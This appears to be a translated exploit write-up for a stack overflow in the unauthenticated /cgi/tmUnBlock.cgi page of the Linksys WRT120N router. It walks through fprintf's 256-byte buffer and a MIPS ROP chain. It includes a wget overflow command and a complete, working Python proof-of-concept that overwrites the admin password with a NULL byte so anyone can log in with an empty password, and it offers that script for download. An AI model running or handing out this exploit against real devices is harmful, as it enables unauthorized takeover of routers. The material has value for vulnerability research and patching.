After we
received the decrypted firmware and
JTAG access to the device , it is time to investigate the code for some interesting bugs.
As we learned earlier, the WRT120N runs on RTOS. For security reasons, the administrative RTOS WEB interface uses HTTP Basic authentication:
Most pages require authentication, but there are several pages that explicitly prohibit it:
')
Any request for these URLs will be executed without authentication, so this is a good place to look for bugs.
Some of these pages do not really exist, others exist, but do nothing (NULL-functions). However, the page at /cgi/tmUnBlock.cgi has some kind of handler that processes user data:
An interesting piece of code that should be considered is this one:
fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"))
Although at first glance it looks decent, the processing of the
TM_Block_URL parameter of a POST request is vulnerable due to the lack of implementation of
fprintf :
Yes,
fprintf calls
vsprintf with format and arguments and adds it to a local buffer limited to 256 bytes.
Respect yourself. Do not use sprintf.
This means that the POST parameter
TM_Block_URL will cause a stack overflow in
fprintf if it is more than 246 bytes (sizeof (buf) - strlen (“Location:“)):
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http:
Drop down
Let's make a simple exploit that will overwrite critical data in memory, well, for example, the administrator's password, which is located at 0x81544AF0:
The administrator password is a standard NULL-terminated string, so if we can write only one NULL byte at the address, we can log in to the router with an empty password. We need to make sure that the system continues to operate normally after the exploit.
If you look at the end of the
fprintf function, you can see that the $ ra and $ s0 registers are being restored from the stack, which means we can manage these registers when we fill the stack:
There is another great piece of code at address 0x8031F634, which writes 4 NULL-bytes from the $ zero register at the address in the $ s0 register.
If we use overflow so that
fprintf returns to 0x8031F634 and overwrites $ s0 with an administrative password (0x81544AF0), then this code will do the following:
- Reset admin password
- Returns to the return address from the stack (and we control the stack)
- Add 16 to stack pointer
The last point is a problem. We need the system to continue to work and not fall, but if we just go back to the
cgi_tmUnBlock function as
fprintf and do it, we will get a stack offset of 16 bytes.
Finding a usable MIPS ROP gadget (sequence of instructions for performing backward-oriented programming, approx. Lane) that reduces the stack pointer by 16 bytes can be problematic, so we will go a different way.
If you look at the address where
fprintf should return to
cgi_tmUnblock , we can see that all it does is restore $ ra, $ s1 and $ s0 from the stack, then returns and adds 0 × 60 to the stack pointer:
Of course, there are no such gadgets that would do just that, but there is a good one at 0x803471B8, which is quite similar:
This gadget adds only 0 × 10 to the stack, but this is not a problem. We will do additional stack frames that will make the ROP gadget go back to itself 5 times. On the fifth iteration, the original values of $ ra, $ s1 and $ s0, which we passed to
cgi_tmUnblock , will be restored from the stack, and our ROP gadget will return to the caller
cgi_tmUnblock :
With the correct values in the stack and registers, the system will continue to work as if nothing had happened. Here you have a PoC (
download ):
import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass
Execution of the code is also possible, but about this some other time.